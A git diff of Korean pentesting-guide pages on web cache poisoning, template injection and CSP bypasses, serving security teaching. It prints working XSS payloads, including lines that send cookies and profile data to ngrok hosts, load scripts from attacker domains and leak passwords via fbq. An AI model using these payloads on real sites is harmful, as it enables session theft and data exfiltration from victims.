```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
@ -79,17 +79,17 @@ cache-poisoning-to-dos.md
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
쿠키는 페이지의 응답에 반영될 수도 있습니다. 이를 악용하여 예를 들어 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있을 것입니다.
```markup
쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있니다.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오.
취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 일반 요청이 캐시를 정리할 것입니다.
### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
확인하십시오:
확인하세요:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
### API 키를 훔치기 위한 경로 탐색을 통한 캐시 오염 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에, 요청이 웹 서버에 도달했을 때 정규화가 이루어졌습니다.
[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것은 Cloudflare가 URL을 정규화하지 않고 캐시되며, 이는 요청이 웹 서버에 도달했을 때 수행되었습니다.
이것은 다음에서 더 잘 설명됩니다:
@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme``http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션의 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
```markup
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
### 제한된 `Vary` 헤더로 악용하기
만약 **`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
```markup
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
URL와 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
URL와 본문에 요청을 포함 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -138,13 +138,13 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Parameter Cloacking
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분할 수 있습니다. 이를 통해 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분할 수 있습니다. 이를 통해 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
여기에서 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) 수행 방법에 대해 알아보세요.
여기에서 [Cache Poisoning 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요.
### Automated testing for Web Cache Poisoning
@ -156,7 +156,7 @@ Example usage: `wcvs -u example.com`
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS는 URL 내의 조각을 제거하지 않고 전달며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다.
ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다.
### GitHub CP-DoS
@ -164,15 +164,15 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했
### GitLab + GCP CP-DoS
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 `x-http-method-override: HEAD` 헤더를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. `PURGE` 메서드도 지원할 수 있습니다.
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다.
### Rack Middleware (Ruby on Rails)
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
### 403 and Storage Buckets
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다.
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다.
### Injecting Keyed Parameters
@ -184,7 +184,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
### Finding new headers
@ -194,7 +194,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다.**
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **sensitive** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **steal**할 수 있습니다.
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하십시오. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **sensitive** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **steal**할 수 있습니다.
테스트할 다른 사항들:
@ -209,9 +209,9 @@ Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **confidential information**을 관찰할 수 있습니다.
**cache proxy**는 **extension**에 따라 파일을 **cache**하도록 **구성**되어야 하며, content-type에 따라 캐시되지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/html` content-type을 가지며, 이는 _.css_ 파일에 대한 예상되는 `text/css` mime type이 아닙니다.
**cache proxy**는 **extension**에 따라 파일을 **cache**하도록 **구성**되어야 하며, content-type에 따라 캐시되지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/html` content-type을 가지며, _.css_ 파일에 대한 예상 mime type인 `text/css` 아닙니다.
여기에서 [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) 수행 방법에 대해 알아보세요.
여기에서 [Cache Deceptions 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요.
## Automatic Tools

View File

@ -6,7 +6,7 @@
이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/index.html))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않면 원래의 `{{ 7-7 }}`가 표시됩니다.
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않면 원래의 `{{ 7-7 }}`가 표시됩니다.
## AngularJS
@ -23,7 +23,7 @@ AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임
```
당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다.
> [!CAUTION] > [**Angular 1.6은 샌드박스를 제거했습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
> [!CAUTION] > [**Angular 1.6에서 샌드박스가 제거되었습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
## VueJS
@ -31,7 +31,7 @@ AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임
작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
그리고 취약한 예제의 **소스 코드**는 여기에서 확인할 수 있습니다: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```

View File

@ -4,7 +4,7 @@
## What is CSP
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout` 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
@ -25,7 +25,7 @@ CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습
### Defining Resources
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는:
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예시 정책은:
```bash
default-src 'none';
img-src 'self';
@ -133,7 +133,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
작동하는 페이로드:
```markup
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
@ -144,7 +144,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
Content-Security-Policy: script-src 'self' ;
```
작동하는 페이로드:
```markup
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
@ -153,21 +153,21 @@ Content-Security-Policy: script-src 'self' ;
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
만약 JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
작동하는 페이로드:
```markup
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**.
게다가, 서버에서 허용하는 확장자를 사용하여 **파일 내에 JS 코드를 업로드할 수 있더라도** (예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 **실행하는 것을 거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **아파치가** _**.wave**_ 확장자를 인식하지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 일부 서버는 아파치 서버와 같이 **파일의 MIME 유형을 확장자에 따라 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부합니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자를** 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예](https://github.com/Polydet/polyglot-database)).
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예](https://github.com/Polydet/polyglot-database)).
### Form-action
JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출하려고 시도할 수 있습니다 (그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출하려고 시도할 수 있습니다(그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
### 제3자 엔드포인트 + ('unsafe-eval')
@ -197,11 +197,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> 이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **라이브러리**를 **로드**하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
```markup
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
@ -268,14 +268,14 @@ https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.com 악용하기
script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용하는 것이 가능합니다. 이는 [이 보고서에서와 같이](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 수행됩니다.
script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용하는 것이 가능합니다. 이는 [이 보고서에서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)와 같이 수행됩니다.
### 제3자 엔드포인트 + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
이와 같은 시나리오에서 `script-src``self`와 특정 도메인으로 설정되어 있는 경우, JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드:
```markup
이와 같은 시나리오에서 `script-src``self`와 특정 도메인으로 설정되어 있는 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
@ -284,9 +284,9 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 즉시 사용 가능한 JSONP 엔드포인트를 포함하고 있습니다.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 준비가 완료된 JSONP 엔드포인트를 포함하고 있습니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함된 경우** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
### 제3자 남용
@ -318,7 +318,7 @@ Content-Security-Policy: connect-src www.facebook.com;
1. 여기에서 Facebook Developer 계정을 만듭니다.
2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.
4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 도구 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "귀하의" 웹사이트에서 전송되는 이벤트를 확인합니다.
@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
다른 일곱 개의 제3자 도메인에 대해서는, 이를 악용할 수 있는 많은 다른 방법이 있습니다. 다른 제3자 악용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
앞서 언급한 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서도 남용할 수 있는 많은 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
### RPO(상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
앞서 언급한 경로 제한 우회를 위한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다.
경로 제한을 우회하기 위한 앞서 언급한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다.
예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용하는 경우, 다음과 같이 우회할 수 있습니다:
```html
@ -359,9 +359,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
### 누락된 **base-uri**
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) 수행할 수 있습니다.
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) 수행할 수 있습니다.
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`와 같은) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
취약한 페이지가 **httpS**로 로드되는 경우, base에 httpS URL을 사용하십시오.
```html
<base href="https://www.attacker.com/" />
@ -370,7 +370,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
